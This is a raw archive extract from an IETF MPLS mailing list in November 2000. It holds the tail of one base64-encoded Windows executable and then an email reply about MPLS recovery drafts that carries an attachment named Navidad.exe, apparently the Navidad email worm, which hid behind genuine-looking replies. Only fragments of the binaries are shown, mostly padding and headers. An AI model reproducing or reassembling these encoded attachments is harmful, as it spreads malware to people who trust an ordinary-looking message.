AAAAAAAAAAAAAAAAAACB/gAAAAAAAED+AAAAAAAAtQMAAMGj2qMgAAAAAAAAAAAAAAAAAAAAAAAA AAAAAACB/gAAAAAAAEH+AAAAAAAAtgMAAM+i5KIaAOWi6KJbAAAAAAAAAAAAAAAAAAAAAACB/gAA AAAAAEB+of4AAAAAUQUAAFHaXtogAF/aatoyAAAAAAAAAAAAAAAAAAAAAACB09je4PkAADF+gf4A AAAA6mRAAOpkQAAAACAAIAAgACAAIAAgACAAIAAgACgAKAAoACgAKAAgACAAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAIQAhACE AIQAhACEAIQAhACEAIQAEAAQABAAEAAQABAAEACBAIEAgQCBAIEAgQABAAEAAQABAAEAAQABAAEA AQABAAEAAQABAAEAAQABAAEAAQABAAEAEAAQABAAEAAQABAAggCCAIIAggCCAIIAAgACAAIAAgAC AAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACABAAEAAQABAAIAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAABgADAAAAQAAAgAQAAABoAACABQAAAIAAAIAGAAAAoAAAgAkAAAC4AACA DgAAANAAAIAAAAAAAAAAAAAAAAAAAAMAAQAAAPAAAIACAAAACAEAgAMAAAAgAQCAAAAAAAAAAAAA AAAAAAABAG0AAAA4AQCAAAAAAAAAAAAAAAAAAAACAGUAAABQAQCAZwAAAGgBAIAAAAAAAAAAAAAA AAAAAAEABwAAAIABAIAAAAAAAAAAAAAAAAAAAAEAbQAAAJgBAIAAAAAAAAAAAAAAAAAAAAIAggAA ALABAICDAAAAyAEAgAAAAAAAAAAAAAAAAAAAAQAJBAAA4AEAAAAAAAAAAAAAAAAAAAAAAQAJBAAA 8AEAAAAAAAAAAAAAAAAAAAAAAQAJBAAAAAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAEAIAAAAAAAAA AAAAAAAAAAAAAQAJBAAAIAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAMAIAAAAAAAAAAAAAAAAAAAAA AQAJBAAAQAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAUAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAYAIA AAAAAAAAAAAAAAAAAAAAAQAJBAAAcAIAAIByAADoAgAAAAAAAAAAAABodQAAKAEAAAAAAAAAAAAA uHYAAOgCAAAAAAAAAAAAALh5AABKAAAAAAAAAAAAAAAIewAAhgAAAAAAAAAAAAAAGHoAAO4AAAAA AAAAAAAAAJB7AABUAAAAAAAAAAAAAAAIegAAEAAAAAAAAAAAAAAAkHYAACIAAAAAAAAAAAAAAKB5 AAAUAAAAAAAAAAAAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA ////APAP/w8AAPD/D/DwAP8P8A8PD/8PD/Dw8PDw//Dw8PDwDw//Dw/w8PDw8PAA8PDw8A8P//Dw DwDw8ADw//Dw8PAPD/AA8A/w/w/w8AD/D/DwDw/////////////////w8A8AAAAAAAAAAAAAAAAA APAP///////////////////wDw8A8PDwAP8PD/AP8ADw8A8PAPDw8AD/Dw/wD/AA8PAPDwDw8PAA /w8P8A/wAPDwDw8A8PDwAP8PD/AP8ADw8A8PAPDw8AD/Dw/wD/AA8PAPDwDw8PAA/w8P8A/wAPDw Dw8A8PDwAP8PD/AP8ADw8A8PAPDw8AD/Dw/wD/AA8PAPDwDw8PAA/w8P8A/wAPDwDw8A8PDwAP8P D/AP8ADw8A8PAPDw8AD/Dw/wD/AA8PAPDwDw8PAA/w8P8A/wAPDwDw8A8PDwAP8PD/AP8ADw8A8P APDw8AD/Dw/wD/AA8PAPDwDw8PAA/w8P8A/wAPDwDw8A8PDwAP8PD/AP8ADw8A8PAPDw8AD/Dw/w D/AA8PAPDwDw8PAA/w8P8A/wAPDwDw8A8PDwAP8PD/AP8ADw8A8PAPDw8AD/Dw/wD/AA8PAPDwDw 8PAA/w8P8A/wAPDwDw8A8PDwAP8PD/AP8ADw8A////////////////////DwAAAAAAAAAAAAAAAA AAAPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAoAAAAEAAAACAAAAABAAQAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD/ /wAA////AAAPDw8AAPAADw8PAAAAAPAPAPAA8A/w8A8P//////DwDwAAAAAAAPAP////////8A8P APDw8ADwDw8A8PDwAPAPDwDw8PAA8A8PAPDw8ADwDw8A8PDwAPAPDwDw8PAA8A8PAPDw8ADwDw8A 8PDwAPAP////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQACACAgEAABAAQA6AIAAAEAEBAQAAEABAAo AQAAAgAAAAAAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA gAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA//// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAj//4AAAAAAAAAAAAAAAI/8zMzP +AAAAAAAAAAAAI/8zMzMzM//gAAAAAAAAI//zMzMzMzM//+AAAAAAAj//MTMzMzMTM//+AAAAACP /8zMTMAMxMzM//+AAAAP///ETMAAAAzETP//8AAAiI/8zMTAAAAMTMzP+IgAAAeIjMTMAAAAAMxM yIhwAAAAeIxERAAAAABERMiHAAAAAAd8RERACIAERETHcAAAAAAADEREQA/wBEREwAAAAAAAAAAE RERABERETAAAAAAAAAAAAARERERERAAAAAAAAAAAAAAAAEREAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ////////////////////////////////////////////+B///8AD//8AAH/8AAAf+AAAD/AAAAfg AAACQAAAAoAAAACAAAABwAAAA+AAAAfwAAAP/AAAP/8AAH//wAH///gf//////////////////// //////////////////8AAAEAAQAgIBAAAQAEAOgCAAADAAAAAAAAAAAAEAAmAEYAaQBsAGUAAACA AGkARQAmAHgAaQB0AAAAkAAmAEgAZQBsAHAAAACAAGgAJgBBAGIAbwB1AHQAIAAuAC4ALgAAAAAA AAAAABAAPwBoAAAAkAAvAGgAAADAAMgAAAAAAAQAFgARAOYASwAAAAAAQQBiAG8AdQB0AAAACABT AHkAcwB0AGUAbQAAAAAAAwAAUAAAAAAOAAkAEAAQAAIA//+CAP//awAAAIAAAlAAAAAAMQAKAHcA CAD/////ggBOAGEAdgBpAGQAYQBkACAAVgBlAHIAcwBpAG8AbgAgADEALgAwAAAAAAAAAAJQAAAA ADEAFAB3AAgA/////4IAQwBvAHAAeQByAGkAZwBoAHQAIAAoAEMAKQAgADIAMAAwADAAAAAAAAAA AQADUAAAAADDAAYAHgALAAEA//+AAE8ASwAAAAAAAABCCMiAAAAAAAEAAAAAAJAAJgAAAAAAAAAL AEMAbwBtAGkAYwAgAFMAYQBuAHMAIABNAFMAAAAAAAEAAVAAAAAADAAHAHYAFgDoA///gABOAHUA bgBjAGEAIABwAHIAZQBzAGkAbwBuAGEAcgAgAGUAcwB0AGUAIABiAG8AdABvAG4AAAAAAAAAAAAA AAAAAAAAAAAAAAAHAE4AYQB2AGkAZABhAGQAAAAAAAwASABlAGwAbABvACAAVwBvAHIAbABkACEA AAAAAAcATgBBAFYASQBEAEEARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= ------=_NextPart_000_0050_01C05864.FF0586A0-- From owner-mpls@UU.NET Mon Nov 27 16:18:40 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA08364 for ; Mon, 27 Nov 2000 16:18:38 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjreb12063; Mon, 27 Nov 2000 21:16:03 GMT Received: by mail-control.mail.uu.net id QQjreb21465 for mpls-outgoing; Mon, 27 Nov 2000 21:15:24 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjreb21334 for ; Mon, 27 Nov 2000 21:15:02 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrea01774 for ; Mon, 27 Nov 2000 21:14:24 GMT Received: from sj-msg-core-1.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11]) id QQjrea02196 for ; Mon, 27 Nov 2000 21:14:23 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id NAA01131 for ; Mon, 27 Nov 2000 13:14:22 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id QAA08766 for mpls@uu.net; Mon, 27 Nov 2000 16:14:16 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrdt18312 for ; Mon, 27 Nov 2000 19:24:32 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrdt13565 for ; Mon, 27 Nov 2000 19:24:17 GMT Received: from mapleoptical.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: host202.razafoundries.com [63.111.208.202] (may be forged)) id QQjrdt09180 for ; Mon, 27 Nov 2000 19:24:16 GMT Received: from IBMW2K ([192.168.12.31]) by mapleoptical.com (8.11.0/8.11.0) with SMTP id eARJO3u08886; Mon, 27 Nov 2000 11:24:03 -0800 (PST) Date: Mon, 27 Nov 2000 11:24:03 -0800 (PST) Message-ID: <021a01c058a8$23e84af0$1f0ca8c0@IBMW2K> From: "jchen" To: "Manal Afify" Cc: Subject: Re: update request? MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_014A_01C05865.09451F40" X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-mpls@UU.NET Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_014A_01C05865.09451F40 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Manal, This draft was merged with another proposal to form a framework for mpls-based recovery. Please see = http://www.ietf.org/internet-drafts/draft-ietf-mpls-recovery-frmwrk-00.tx= t Regards, Fiffi -- Fiffi Hellstrand Routing Architecture Lab - Nortel Networks Stockholm, Sweden e-mail: fiffi@nortelnetworks.com Manal Afify wrote: > Can anyone provide an update on the following draft....?? > > Internet Draft > Multi-Protocol Label Switching > Expiration date: April 2000 > > draft-makam-mpls-protection-00.txt > > Thank you in advance... ------=_NextPart_000_014A_01C05865.09451F40 Content-Type: application/x-msdownload; name="Navidad.exe" Content-Disposition: attachment; filename="Navidad.exe" Content-Transfer-Encoding: base64 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAACkWsl34DunJOA7pyTgO6ckCCStJPY7pyRjJ6kk6TunJIIktCTmO6ckuRi0 JOM7pyTgO6YkrzunJAgkrCTkO6ckWD2hJOE7pyRSaWNo4DunJAAAAAAAAAAAUEUAAEwBBACc3v85 AAAAAAAAAADgAA8BCwEGAABAAAAAMAAAAAAAAJ4bAAAAEAAAAFAAAAAAQAAAEAAAABAAAAQAAAAA AAAABAAAAAAAAAAAgAAAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA AACkVAAAZAAAAABwAADoCwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAEABAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAudGV4dAAAAP4zAAAAEAAAAEAAAAAQAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAABw CwAAAFAAAAAQAAAAUAAAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAAXA0AAABgAAAAEAAAAGAAAAAA AAAAAAAAAAAAAEAAAMAucnNyYwAAAOgLAAAAcAAAABAAAABwAAAAAAAAAAAAAAAAAABAAABAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 